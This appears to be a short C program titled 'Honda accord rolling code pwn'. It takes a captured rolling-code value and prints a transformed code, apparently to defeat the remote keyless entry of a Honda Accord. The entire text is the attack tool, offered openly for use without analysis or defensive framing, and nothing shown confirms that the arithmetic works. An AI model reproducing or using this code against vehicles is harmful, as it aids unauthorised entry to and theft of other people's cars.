Honda accord rolling code pwn

#include <stdio.h>

// Honda Accord remote rolling code pwn
int main(int argc, const char * argv[]) {
    if (argc == 2) {
        printf("%X\n", (0xffffff - atoi(argv[1]))- 0x88);
    }
    else {
        printf("Need a rolling code argument\n");
    }
}